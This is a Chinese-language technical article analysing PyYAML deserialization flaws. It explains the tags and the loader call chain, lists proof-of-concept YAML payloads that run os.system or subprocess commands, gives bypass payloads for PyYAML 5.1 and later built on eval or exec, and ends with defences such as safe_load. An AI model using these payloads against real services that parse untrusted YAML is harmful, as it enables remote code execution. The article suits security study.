PYYAML反序列化详细分析
字数 1519 2025-08-22 12:23:19
PyYAML反序列化漏洞深入分析与利用
1. YAML基础语法
YAML是一种数据序列化格式,具有以下基本特性:
- 一个
.yml文件中可以包含多份配置文件,用---分隔 - 对大小写敏感
- 支持JSON格式的数据
- 使用空格缩进表示层级关系(不允许使用Tab)
!!表示强制类型转换- 支持锚点(
&)和引用(*)
YAML支持三种数据结构:
- 对象:键值对的集合
- 列表:一组按次序排列的值
- 标量(scalars):原子值(数字、日期等)
2. PyYAML反序列化机制
PyYAML通过特定标签实现Python对象的反序列化:
2.1 关键标签
!!python/object/apply:用于调用函数/方法!!python/object/new:用于创建新对象!!python/name:引用Python名称!!python/tuple:创建元组
2.2 核心方法
PyYAML通过以下方法实现反序列化:
construct_python_object_apply():处理!!python/object/apply标签construct_python_object_new():处理!!python/object/new标签make_python_instance():创建Python实例的核心方法find_python_name():查找并导入Python模块和类
3. 反序列化漏洞原理
3.1 漏洞成因
PyYAML在反序列化时,允许通过YAML标签直接实例化任意Python类并执行其方法,这导致攻击者可以构造恶意YAML数据执行任意代码。
3.2 漏洞调用链
get_single_data()
-> construct_document()
-> construct_object()
-> construct_python_object_apply()
-> make_python_instance()
-> find_python_name()
3.3 漏洞利用POC
# 基本利用方式
poc = '!!python/object/apply:subprocess.check_output [["calc.exe"]]'
poc = '!!python/object/apply:os.popen ["calc.exe"]'
poc = '!!python/object/apply:subprocess.run ["calc.exe"]'
poc = '!!python/object/apply:subprocess.call ["calc.exe"]'
poc = '!!python/object/apply:subprocess.Popen ["calc.exe"]'
poc = '!!python/object/apply:os.system ["calc.exe"]'
# 使用new标签
poc = '!!python/object/new:os.system ["calc.exe"]'
poc = '!!python/object/new:subprocess.check_output [["calc.exe"]]'
4. PyYAML版本差异
4.1 版本<5.1
- 默认使用
FullLoader或UnsafeLoader - 允许直接执行危险标签
- 漏洞利用简单直接
4.2 版本≥5.1
- 默认使用安全加载器
- 增加了安全限制:
make_python_instance中检查if not (unsafe or isinstance(cls, type))- 只允许加载
sys.modules中已存在的模块 - 引用的
module.name必须是类而非函数
5. 绕过高版本限制的技术
5.1 使用tuple+map组合
yaml.load("""
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- ["__import__('os').system('calc')"]
""")
原理:
- 使用
map调用eval函数 - 将结果转换为
tuple实现回显
5.2 利用extend方法
yaml.load("""
!!python/object/new:type
args:
- exp
- !!python/tuple []
- {"extend": !!python/name:exec }
listitems: "__import__('os').system('whoami')"
""")
5.3 组合利用str和staticmethod
payload = """
- !!python/object/new:str
args: []
state:
!!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
"""
yaml.load(payload)
6. 防御措施
- 使用
yaml.safe_load()替代yaml.load() - 升级到最新版PyYAML
- 对输入进行严格过滤
- 使用自定义的SafeLoader限制可用标签
7. 加载器类型对比
| 加载器 | 安全性 | 功能限制 | 适用场景 |
|---|---|---|---|
| BaseConstructor | 低 | 基本功能 | 无特殊需求 |
| SafeConstructor | 高 | 仅安全子集 | 不受信任输入 |
| FullConstructor | 中 | 已加载模块 | 默认加载器 |
| UnsafeConstructor | 极低 | 无限制 | 向后兼容 |
8. 技术总结
PyYAML反序列化漏洞的核心在于其灵活的标签系统允许直接实例化和调用Python对象。在低版本中,攻击者可以直接执行系统命令;在高版本中,虽然增加了限制,但通过巧妙的组合利用仍然可能实现代码执行。开发者应当充分了解这些风险,并采取适当的防护措施。